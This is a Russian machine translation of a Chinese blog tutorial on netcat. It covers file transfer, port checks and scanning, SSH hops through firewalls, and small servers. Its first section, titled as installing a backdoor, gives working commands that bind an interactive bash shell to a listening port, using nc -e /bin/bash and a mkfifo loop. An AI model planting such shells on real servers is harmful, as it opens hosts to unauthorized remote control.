Оригинал: Miss Sister Taste (ID: xjjdog), добро пожаловать, пожалуйста, сохраните источник для перепечатки. Любое воспроизведение, которое не содержит этого утверждения, является плагиатом.
Для команды nc действительно требуется много времени для корректировки строки кода. Потому что сила этой строчки кода очень велика! Конечно, если его не использовать должным образом, он навлечет на себя неприятности.
netcat
Этот инструмент, называемыйnc
, очень мощный инструмент для Linux (конечно, есть и версия для Windows). Поскольку он такой мощный, некоторые компании даже изолировали его. Напримерrename
бросить или дать000
разрешение. Потому что открыть бэкдор на сервере легко, и это крайне удобно.
Где команда nc? где это находится?
# whereis nc
nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz
Он говорит мне, что файл находится в каталоге /usr/bin. Давайте посмотрим на его свойства с помощью команды file. Оказалось, что это связанный файл.
# file /usr/bin/nc
/usr/bin/nc: symbolic link to `ncat'
Отсюда мы можем видеть, чтоnc
Полное имяncat
:Concatenate and redirect sockets
. Это швейцарский армейский нож.
Параметров nc очень и очень много.Если перечислить их, то потеряешь интерес.Ты напрасно пропустишь такой мощный инструмент, и упустишь возможность войти в игру. Мы по-прежнему используем пример, чтобы проиллюстрировать, почему эта команда размером менее 1 МБ была захвачена.xjjdog
сердце.
1. Установить бэкдор на сервер
На машине откроется следующая команда5879
порт. Сервер:
# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879
Этот процесс называется bounce shell, и удаленный компьютер может использовать команду nc для подключения и выполнения каких-либо действий.
Клиент:
# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
В этот момент, выполняя любую команду оболочки, она может работать нормально. Следующая gif-анимация может подтвердить этот процесс.
Хотите быть немного более властным? Нам нужна помощьmkfifo
Заказ.
На сервере выполните следующие две команды, которые создают цикл.
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f
После подключения клиента nc сразу появляется рабочий терминал командной строки!
$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#
Вы можете сказать, почему после выключения моего клиента серверная команда также завершает работу? Если вы хотите, чтобы сервер продолжал слушать, вы можете добавить параметры-k
.
2. Передача файлов и каталогов
Все еще используете sftp? Или использовать рзз?
Хотя эти инструменты просты в использовании, их необходимо установить. Иногда что-то срочное, или власть строгая, а такого инструмента нет.
В этот момент nc может прийти на помощь.
Сервер также прослушивает порт, но на этот раз перенаправляется в файл.
nc -l 5879 > file
Затем клиент может инициировать команду для отправки файла. На этот раз стрелки поменялись местами.
nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz
Передача файлов происходит быстро! И поскольку нет набора шифрования rsa, скорость выше.
Проверьте их md5, они точно такие же.
MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c
md5sum file
224cabf26d622f37528b398762e1578c file
Я знаю, что сейчас происходит у вас в голове по поводу переноса каталога. Этот процесс очень интересен.
Мы передаем вывод nc команде tar для обработки.xfvz
иcvfz
это пара параметров, вы должны догадаться, что делать.
nc -l 5879 | tar xfvz -
Правильно, код на стороне клиента является обратным приведенному выше. Однако на этот раз наша команда nc принимает упакованный файл.
tar cfz - redis-5.0.5 | nc -v 192.16.1.54 5879
Действительно гениально.
3. Обнаружение сетевого подключения
Да, это наиболее часто используемое место для команды nc.
Если вы хотите определить, открыт ли порт сервера tomcat, вам не нужно входить на сервер, а затемps
Взгляните на процесс или используйтеnetstat -antl
Взгляните на порт прослушивания.
Просто используйте нк.
Нужно только просто ввести ip и порт, и он узнает результат.
# nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!
Конечно, он также может сканировать хост на наличие открытых портов. Но не очень для программистов.
nc -vzw 2 192.16.1.54 8888-9999
4. Проникновение через брандмауэр
Например картинка ниже. ты хочешь посетитьtongariro
эту машину, но у вас нет разрешения. это может только пройтиaoraki
доступ к брандмауэру. в то же время,aoraki
может только принятьruapehu
запрос.
Такого эффекта можно добиться, комбинируя команды ssh.
ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro
через sshProxyCommand
, вы можете выполнить простую настройку.
Используйте следующую команду, чтобы быстро открыть этот канал.
ssh -oProxyCommand="ssh host1 nc host2 22" host2
5. Другие
Вы можете это увидеть. Эти возможности nc предоставляются не самим nc, а другими дополнительными командами.
Например, здесь реализован простой сервер времени. Имеется доступ через веб-браузер.
ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'
В качестве другого примера выполните удаленную видеослужбу.
Сервер.
arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -
клиент.
arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****
Об авторе:Мисс сестра вкус(xjjdog), гж, который не позволяет программистам идти в обход. Сосредоточьтесь на инфраструктуре и Linux. Десять лет архитектуры, десятки миллиардов ежедневного трафика, обсуждение с вами мира высокой параллелизма, дающие вам другой вкус.